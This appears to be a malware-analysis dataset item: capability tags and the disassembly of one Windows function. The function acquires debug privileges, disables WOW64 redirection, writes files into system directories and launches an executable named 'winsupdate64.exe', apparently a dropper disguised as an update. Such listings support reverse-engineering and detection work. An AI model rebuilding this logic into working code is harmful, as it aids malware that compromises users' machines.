Function at 0x1400017c0
Capabilities:
Acquire debug privileges
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x490
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x480], rax
lea rcx, [rsp + 0x261]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x260], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x151]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x150], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x371]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x370], 0
call sub.MSVCR90.dll_memset
lea rcx, [0x1400044d0]
mov edx, 1
call fcn.140001710
call fcn.140001b50
mov dword [0x140006a54], eax
test eax, eax
je 0x140001896
mov ecx, 4
call fcn.140001490
cmp dword [0x140006a54], 0
je 0x140001896
call fcn.140001530
call fcn.1400015f0
mov ecx, 5
call fcn.140001490
jmp 0x14000189b
call fcn.1400015f0
lea rcx, [0x140006a60]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140006a60]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x1400018ea
lea rdx, str.Wow64DisableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x30]
call rax
lea r9, [0x1400044f8]
lea r8, [0x140006a60]
lea rdx, [0x1400043a4]
lea rcx, [rsp + 0x150]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x150]
lea ecx, [r8 + 0x6c]
call fcn.140001340
lea rcx, [rsp + 0x150]
mov edx, 1
call fcn.140001000
lea r9, [0x140004510]
lea r8, [0x140006a60]
lea rdx, [0x1400043a4]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea ecx, [r8 + 0x65]
call fcn.140001340
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.140001000
lea rcx, [0x140006a60]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140006a60]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
lea r9, [0x140004510]
lea r8, [0x140006a60]
lea rdx, [0x1400043a4]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea ecx, [r8 + 0x65]
call fcn.140001340
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.140001000
lea rcx, [0x140006a60]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140006a60]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
lea r9, [0x140004520]
lea r8, [0x140006a60]
lea rdx, [0x1400043a4]
lea rcx, [rsp + 0x260]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x260]
lea ecx, [r8 + 0x69]
call fcn.140001340
lea rcx, [rsp + 0x260]
mov edx, 1
call fcn.140001000
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140001a71
lea rdx, str.Wow64DisableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x30]
call rax
call fcn.1400021d0
lea rdi, [0x140006950]
mov r8d, 0x104
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ecx, ecx
lea rbx, [0x140006840]
nop word [rax + rax]
movzx eax, byte [rcx + rdi]
inc rcx
mov byte [rcx + rbx - 1], al
test al, al
jne 0x140001aa0
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_strrchr]
test rax, rax
je 0x140001ac5
mov byte [rax], 0
lea r9, str.winsupdate64.exe
lea rdx, [0x1400043a4]
lea rcx, [rsp + 0x370]
mov r8, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x370]
lea ecx, [r8 + 0x79]
call fcn.140001340
lea r8, [rsp + 0x370]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140001100
call fcn.1400025c0
xor eax, eax
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.1400027c0
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x490
pop rdi
ret